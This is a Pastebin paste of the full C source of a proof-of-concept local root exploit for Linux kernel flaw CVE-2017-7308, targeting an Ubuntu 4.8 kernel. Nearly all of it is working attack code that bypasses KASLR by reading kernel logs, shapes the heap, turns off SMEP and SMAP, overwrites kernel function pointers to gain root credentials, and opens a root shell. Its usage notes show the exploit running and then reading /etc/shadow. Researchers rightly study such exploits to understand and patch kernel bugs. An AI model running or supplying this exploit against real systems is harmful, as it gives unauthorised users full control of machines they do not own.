Advertisement
ardann

Untitled

Nov 29th, 2018
107
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 13.10 KB | None | 0 0
  1. // A proof-of-concept local root exploit for CVE-2017-7308.
  2. // Includes a SMEP & SMAP bypass.
  3. // Tested on 4.8.0-41-generic Ubuntu kernel.
  4. // https://github.com/xairy/kernel-exploits/tree/master/CVE-2017-7308
  5. //
  6. // Usage:
  7. // user@ubuntu:~$ uname -a
  8. // Linux ubuntu 4.8.0-41-generic #44~16.04.1-Ubuntu SMP Fri Mar 3 ...
  9. // user@ubuntu:~$ gcc pwn.c -o pwn
  10. // user@ubuntu:~$ ./pwn
  11. // [.] starting
  12. // [.] namespace sandbox set up
  13. // [.] KASLR bypass enabled, getting kernel addr
  14. // [.] done, kernel text: ffffffff87000000
  15. // [.] commit_creds: ffffffff870a5cf0
  16. // [.] prepare_kernel_cred: ffffffff870a60e0
  17. // [.] native_write_cr4: ffffffff87064210
  18. // [.] padding heap
  19. // [.] done, heap is padded
  20. // [.] SMEP & SMAP bypass enabled, turning them off
  21. // [.] done, SMEP & SMAP should be off now
  22. // [.] executing get root payload 0x401516
  23. // [.] done, should be root now
  24. // [.] checking if we got root
  25. // [+] got r00t ^_^
  26. // root@ubuntu:/home/user# cat /etc/shadow
  27. // root:!:17246:0:99999:7:::
  28. // daemon:*:17212:0:99999:7:::
  29. // bin:*:17212:0:99999:7:::
  30. // ...
  31. //
  32. // Andrey Konovalov <andreyknvl@gmail.com>
  33.  
  34. #define _GNU_SOURCE
  35.  
  36. #include <errno.h>
  37. #include <fcntl.h>
  38. #include <stdarg.h>
  39. #include <stdbool.h>
  40. #include <stddef.h>
  41. #include <stdint.h>
  42. #include <stdio.h>
  43. #include <stdlib.h>
  44. #include <string.h>
  45. #include <unistd.h>
  46. #include <sched.h>
  47.  
  48. #include <sys/ioctl.h>
  49. #include <sys/klog.h>
  50. #include <sys/mman.h>
  51. #include <sys/socket.h>
  52. #include <sys/syscall.h>
  53. #include <sys/types.h>
  54. #include <sys/wait.h>
  55.  
  56. #include <arpa/inet.h>
  57. #include <linux/if_packet.h>
  58. #include <linux/ip.h>
  59. #include <linux/udp.h>
  60. #include <netinet/if_ether.h>
  61. #include <net/if.h>
  62.  
  63. #define ENABLE_KASLR_BYPASS 1
  64. #define ENABLE_SMEP_SMAP_BYPASS 1
  65.  
  66. // Will be overwritten if ENABLE_KASLR_BYPASS
  67. unsigned long KERNEL_BASE = 0xffffffff81000000ul;
  68.  
  69. // Kernel symbol offsets
  70. #define COMMIT_CREDS 0xa5cf0ul
  71. #define PREPARE_KERNEL_CRED 0xa60e0ul
  72. #define NATIVE_WRITE_CR4 0x64210ul
  73.  
  74. // Should have SMEP and SMAP bits disabled
  75. #define CR4_DESIRED_VALUE 0x407f0ul
  76.  
  77. #define KMALLOC_PAD 512
  78. #define PAGEALLOC_PAD 1024
  79.  
  80. // * * * * * * * * * * * * * * Kernel structs * * * * * * * * * * * * * * * *
  81.  
  82. typedef uint32_t u32;
  83.  
  84. // $ pahole -C hlist_node ./vmlinux
  85. struct hlist_node {
  86. struct hlist_node * next; /* 0 8 */
  87. struct hlist_node * * pprev; /* 8 8 */
  88. };
  89.  
  90. // $ pahole -C timer_list ./vmlinux
  91. struct timer_list {
  92. struct hlist_node entry; /* 0 16 */
  93. long unsigned int expires; /* 16 8 */
  94. void (*function)(long unsigned int); /* 24 8 */
  95. long unsigned int data; /* 32 8 */
  96. u32 flags; /* 40 4 */
  97. int start_pid; /* 44 4 */
  98. void * start_site; /* 48 8 */
  99. char start_comm[16]; /* 56 16 */
  100. };
  101.  
  102. // packet_sock->rx_ring->prb_bdqc->retire_blk_timer
  103. #define TIMER_OFFSET 896
  104.  
  105. // pakcet_sock->xmit
  106. #define XMIT_OFFSET 1304
  107.  
  108. // * * * * * * * * * * * * * * * Helpers * * * * * * * * * * * * * * * * * *
  109.  
  110. void packet_socket_rx_ring_init(int s, unsigned int block_size,
  111. unsigned int frame_size, unsigned int block_nr,
  112. unsigned int sizeof_priv, unsigned int timeout) {
  113. int v = TPACKET_V3;
  114. int rv = setsockopt(s, SOL_PACKET, PACKET_VERSION, &v, sizeof(v));
  115. if (rv < 0) {
  116. perror("[-] setsockopt(PACKET_VERSION)");
  117. exit(EXIT_FAILURE);
  118. }
  119.  
  120. struct tpacket_req3 req;
  121. memset(&req, 0, sizeof(req));
  122. req.tp_block_size = block_size;
  123. req.tp_frame_size = frame_size;
  124. req.tp_block_nr = block_nr;
  125. req.tp_frame_nr = (block_size * block_nr) / frame_size;
  126. req.tp_retire_blk_tov = timeout;
  127. req.tp_sizeof_priv = sizeof_priv;
  128. req.tp_feature_req_word = 0;
  129.  
  130. rv = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req));
  131. if (rv < 0) {
  132. perror("[-] setsockopt(PACKET_RX_RING)");
  133. exit(EXIT_FAILURE);
  134. }
  135. }
  136.  
  137. int packet_socket_setup(unsigned int block_size, unsigned int frame_size,
  138. unsigned int block_nr, unsigned int sizeof_priv, int timeout) {
  139. int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
  140. if (s < 0) {
  141. perror("[-] socket(AF_PACKET)");
  142. exit(EXIT_FAILURE);
  143. }
  144.  
  145. packet_socket_rx_ring_init(s, block_size, frame_size, block_nr,
  146. sizeof_priv, timeout);
  147.  
  148. struct sockaddr_ll sa;
  149. memset(&sa, 0, sizeof(sa));
  150. sa.sll_family = PF_PACKET;
  151. sa.sll_protocol = htons(ETH_P_ALL);
  152. sa.sll_ifindex = if_nametoindex("lo");
  153. sa.sll_hatype = 0;
  154. sa.sll_pkttype = 0;
  155. sa.sll_halen = 0;
  156.  
  157. int rv = bind(s, (struct sockaddr *)&sa, sizeof(sa));
  158. if (rv < 0) {
  159. perror("[-] bind(AF_PACKET)");
  160. exit(EXIT_FAILURE);
  161. }
  162.  
  163. return s;
  164. }
  165.  
  166. void packet_socket_send(int s, char *buffer, int size) {
  167. struct sockaddr_ll sa;
  168. memset(&sa, 0, sizeof(sa));
  169. sa.sll_ifindex = if_nametoindex("lo");
  170. sa.sll_halen = ETH_ALEN;
  171.  
  172. if (sendto(s, buffer, size, 0, (struct sockaddr *)&sa,
  173. sizeof(sa)) < 0) {
  174. perror("[-] sendto(SOCK_RAW)");
  175. exit(EXIT_FAILURE);
  176. }
  177. }
  178.  
  179. void loopback_send(char *buffer, int size) {
  180. int s = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
  181. if (s == -1) {
  182. perror("[-] socket(SOCK_RAW)");
  183. exit(EXIT_FAILURE);
  184. }
  185.  
  186. packet_socket_send(s, buffer, size);
  187. }
  188.  
  189. int packet_sock_kmalloc() {
  190. int s = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP));
  191. if (s == -1) {
  192. perror("[-] socket(SOCK_DGRAM)");
  193. exit(EXIT_FAILURE);
  194. }
  195. return s;
  196. }
  197.  
  198. void packet_sock_timer_schedule(int s, int timeout) {
  199. packet_socket_rx_ring_init(s, 0x1000, 0x1000, 1, 0, timeout);
  200. }
  201.  
  202. void packet_sock_id_match_trigger(int s) {
  203. char buffer[16];
  204. packet_socket_send(s, &buffer[0], sizeof(buffer));
  205. }
  206.  
  207. // * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * *
  208.  
  209. #define ALIGN(x, a) __ALIGN_KERNEL((x), (a))
  210. #define __ALIGN_KERNEL(x, a) __ALIGN_KERNEL_MASK(x, (typeof(x))(a) - 1)
  211. #define __ALIGN_KERNEL_MASK(x, mask) (((x) + (mask)) & ~(mask))
  212.  
  213. #define V3_ALIGNMENT (8)
  214. #define BLK_HDR_LEN (ALIGN(sizeof(struct tpacket_block_desc), V3_ALIGNMENT))
  215.  
  216. #define ETH_HDR_LEN sizeof(struct ethhdr)
  217. #define IP_HDR_LEN sizeof(struct iphdr)
  218. #define UDP_HDR_LEN sizeof(struct udphdr)
  219.  
  220. #define UDP_HDR_LEN_FULL (ETH_HDR_LEN + IP_HDR_LEN + UDP_HDR_LEN)
  221.  
  222. int oob_setup(int offset) {
  223. unsigned int maclen = ETH_HDR_LEN;
  224. unsigned int netoff = TPACKET_ALIGN(TPACKET3_HDRLEN +
  225. (maclen < 16 ? 16 : maclen));
  226. unsigned int macoff = netoff - maclen;
  227. unsigned int sizeof_priv = (1u<<31) + (1u<<30) +
  228. 0x8000 - BLK_HDR_LEN - macoff + offset;
  229. return packet_socket_setup(0x8000, 2048, 2, sizeof_priv, 100);
  230. }
  231.  
  232. void oob_write(char *buffer, int size) {
  233. loopback_send(buffer, size);
  234. }
  235.  
  236. void oob_timer_execute(void *func, unsigned long arg) {
  237. oob_setup(2048 + TIMER_OFFSET - 8);
  238.  
  239. int i;
  240. for (i = 0; i < 32; i++) {
  241. int timer = packet_sock_kmalloc();
  242. packet_sock_timer_schedule(timer, 1000);
  243. }
  244.  
  245. char buffer[2048];
  246. memset(&buffer[0], 0, sizeof(buffer));
  247.  
  248. struct timer_list *timer = (struct timer_list *)&buffer[8];
  249. timer->function = func;
  250. timer->data = arg;
  251. timer->flags = 1;
  252.  
  253. oob_write(&buffer[0] + 2, sizeof(*timer) + 8 - 2);
  254.  
  255. sleep(1);
  256. }
  257.  
  258. void oob_id_match_execute(void *func) {
  259. int s = oob_setup(2048 + XMIT_OFFSET - 64);
  260.  
  261. int ps[32];
  262.  
  263. int i;
  264. for (i = 0; i < 32; i++)
  265. ps[i] = packet_sock_kmalloc();
  266.  
  267. char buffer[2048];
  268. memset(&buffer[0], 0, 2048);
  269.  
  270. void **xmit = (void **)&buffer[64];
  271. *xmit = func;
  272.  
  273. oob_write((char *)&buffer[0] + 2, sizeof(*xmit) + 64 - 2);
  274.  
  275. for (i = 0; i < 32; i++)
  276. packet_sock_id_match_trigger(ps[i]);
  277. }
  278.  
  279. // * * * * * * * * * * * * * * Heap shaping * * * * * * * * * * * * * * * * *
  280.  
  281. void kmalloc_pad(int count) {
  282. int i;
  283. for (i = 0; i < count; i++)
  284. packet_sock_kmalloc();
  285. }
  286.  
  287. void pagealloc_pad(int count) {
  288. packet_socket_setup(0x8000, 2048, count, 0, 100);
  289. }
  290.  
  291. // * * * * * * * * * * * * * * * Getting root * * * * * * * * * * * * * * * *
  292.  
  293. typedef unsigned long __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
  294. typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
  295.  
  296. void get_root_payload(void) {
  297. ((_commit_creds)(KERNEL_BASE + COMMIT_CREDS))(
  298. ((_prepare_kernel_cred)(KERNEL_BASE + PREPARE_KERNEL_CRED))(0)
  299. );
  300. }
  301.  
  302. // * * * * * * * * * * * * * Simple KASLR bypass * * * * * * * * * * * * * * *
  303.  
  304. #define SYSLOG_ACTION_READ_ALL 3
  305. #define SYSLOG_ACTION_SIZE_BUFFER 10
  306.  
  307. unsigned long get_kernel_addr() {
  308. int size = klogctl(SYSLOG_ACTION_SIZE_BUFFER, 0, 0);
  309. if (size == -1) {
  310. perror("[-] klogctl(SYSLOG_ACTION_SIZE_BUFFER)");
  311. exit(EXIT_FAILURE);
  312. }
  313.  
  314. size = (size / getpagesize() + 1) * getpagesize();
  315. char *buffer = (char *)mmap(NULL, size, PROT_READ|PROT_WRITE,
  316. MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
  317.  
  318. size = klogctl(SYSLOG_ACTION_READ_ALL, &buffer[0], size);
  319. if (size == -1) {
  320. perror("[-] klogctl(SYSLOG_ACTION_READ_ALL)");
  321. exit(EXIT_FAILURE);
  322. }
  323.  
  324. const char *needle1 = "Freeing SMP";
  325. char *substr = (char *)memmem(&buffer[0], size, needle1, strlen(needle1));
  326. if (substr == NULL) {
  327. fprintf(stderr, "[-] substring '%s' not found in dmesg\n", needle1);
  328. exit(EXIT_FAILURE);
  329. }
  330.  
  331. for (size = 0; substr[size] != '\n'; size++);
  332.  
  333. const char *needle2 = "ffff";
  334. substr = (char *)memmem(&substr[0], size, needle2, strlen(needle2));
  335. if (substr == NULL) {
  336. fprintf(stderr, "[-] substring '%s' not found in dmesg\n", needle2);
  337. exit(EXIT_FAILURE);
  338. }
  339.  
  340. char *endptr = &substr[16];
  341. unsigned long r = strtoul(&substr[0], &endptr, 16);
  342.  
  343. r &= 0xfffffffffff00000ul;
  344. r -= 0x1000000ul;
  345.  
  346. return r;
  347. }
  348.  
  349. // * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * *
  350.  
  351. void exec_shell() {
  352. char *shell = "/bin/bash";
  353. char *args[] = {shell, "-i", NULL};
  354. execve(shell, args, NULL);
  355. }
  356.  
  357. void fork_shell() {
  358. pid_t rv;
  359.  
  360. rv = fork();
  361. if (rv == -1) {
  362. perror("[-] fork()");
  363. exit(EXIT_FAILURE);
  364. }
  365.  
  366. if (rv == 0) {
  367. exec_shell();
  368. }
  369. }
  370.  
  371. bool is_root() {
  372. // We can't simple check uid, since we're running inside a namespace
  373. // with uid set to 0. Try opening /etc/shadow instead.
  374. int fd = open("/etc/shadow", O_RDONLY);
  375. if (fd == -1)
  376. return false;
  377. close(fd);
  378. return true;
  379. }
  380.  
  381. void check_root() {
  382. printf("[.] checking if we got root\n");
  383.  
  384. if (!is_root()) {
  385. printf("[-] something went wrong =(\n");
  386. return;
  387. }
  388.  
  389. printf("[+] got r00t ^_^\n");
  390.  
  391. // Fork and exec instead of just doing the exec to avoid potential
  392. // memory corruptions when closing packet sockets.
  393. fork_shell();
  394. }
  395.  
  396. bool write_file(const char* file, const char* what, ...) {
  397. char buf[1024];
  398. va_list args;
  399. va_start(args, what);
  400. vsnprintf(buf, sizeof(buf), what, args);
  401. va_end(args);
  402. buf[sizeof(buf) - 1] = 0;
  403. int len = strlen(buf);
  404.  
  405. int fd = open(file, O_WRONLY | O_CLOEXEC);
  406. if (fd == -1)
  407. return false;
  408. if (write(fd, buf, len) != len) {
  409. close(fd);
  410. return false;
  411. }
  412. close(fd);
  413. return true;
  414. }
  415.  
  416. void setup_sandbox() {
  417. int real_uid = getuid();
  418. int real_gid = getgid();
  419.  
  420. if (unshare(CLONE_NEWUSER) != 0) {
  421. perror("[-] unshare(CLONE_NEWUSER)");
  422. exit(EXIT_FAILURE);
  423. }
  424.  
  425. if (unshare(CLONE_NEWNET) != 0) {
  426. perror("[-] unshare(CLONE_NEWUSER)");
  427. exit(EXIT_FAILURE);
  428. }
  429.  
  430. if (!write_file("/proc/self/setgroups", "deny")) {
  431. perror("[-] write_file(/proc/self/set_groups)");
  432. exit(EXIT_FAILURE);
  433. }
  434. if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)){
  435. perror("[-] write_file(/proc/self/uid_map)");
  436. exit(EXIT_FAILURE);
  437. }
  438. if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) {
  439. perror("[-] write_file(/proc/self/gid_map)");
  440. exit(EXIT_FAILURE);
  441. }
  442.  
  443. cpu_set_t my_set;
  444. CPU_ZERO(&my_set);
  445. CPU_SET(0, &my_set);
  446. if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) {
  447. perror("[-] sched_setaffinity()");
  448. exit(EXIT_FAILURE);
  449. }
  450.  
  451. if (system("/sbin/ifconfig lo up") != 0) {
  452. perror("[-] system(/sbin/ifconfig lo up)");
  453. exit(EXIT_FAILURE);
  454. }
  455. }
  456.  
  457. int main() {
  458. printf("[.] starting\n");
  459.  
  460. setup_sandbox();
  461.  
  462. printf("[.] namespace sandbox set up\n");
  463.  
  464. #if ENABLE_KASLR_BYPASS
  465. printf("[.] KASLR bypass enabled, getting kernel addr\n");
  466. KERNEL_BASE = get_kernel_addr();
  467. printf("[.] done, kernel text: %lx\n", KERNEL_BASE);
  468. #endif
  469.  
  470. printf("[.] commit_creds: %lx\n", KERNEL_BASE + COMMIT_CREDS);
  471. printf("[.] prepare_kernel_cred: %lx\n", KERNEL_BASE + PREPARE_KERNEL_CRED);
  472.  
  473. #if ENABLE_SMEP_SMAP_BYPASS
  474. printf("[.] native_write_cr4: %lx\n", KERNEL_BASE + NATIVE_WRITE_CR4);
  475. #endif
  476.  
  477. printf("[.] padding heap\n");
  478. kmalloc_pad(KMALLOC_PAD);
  479. pagealloc_pad(PAGEALLOC_PAD);
  480. printf("[.] done, heap is padded\n");
  481.  
  482. #if ENABLE_SMEP_SMAP_BYPASS
  483. printf("[.] SMEP & SMAP bypass enabled, turning them off\n");
  484. oob_timer_execute((void *)(KERNEL_BASE + NATIVE_WRITE_CR4), CR4_DESIRED_VALUE);
  485. printf("[.] done, SMEP & SMAP should be off now\n");
  486. #endif
  487.  
  488. printf("[.] executing get root payload %p\n", &get_root_payload);
  489. oob_id_match_execute((void *)&get_root_payload);
  490. printf("[.] done, should be root now\n");
  491.  
  492. check_root();
  493.  
  494. while (1) sleep(1000);
  495.  
  496. return 0;
  497. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement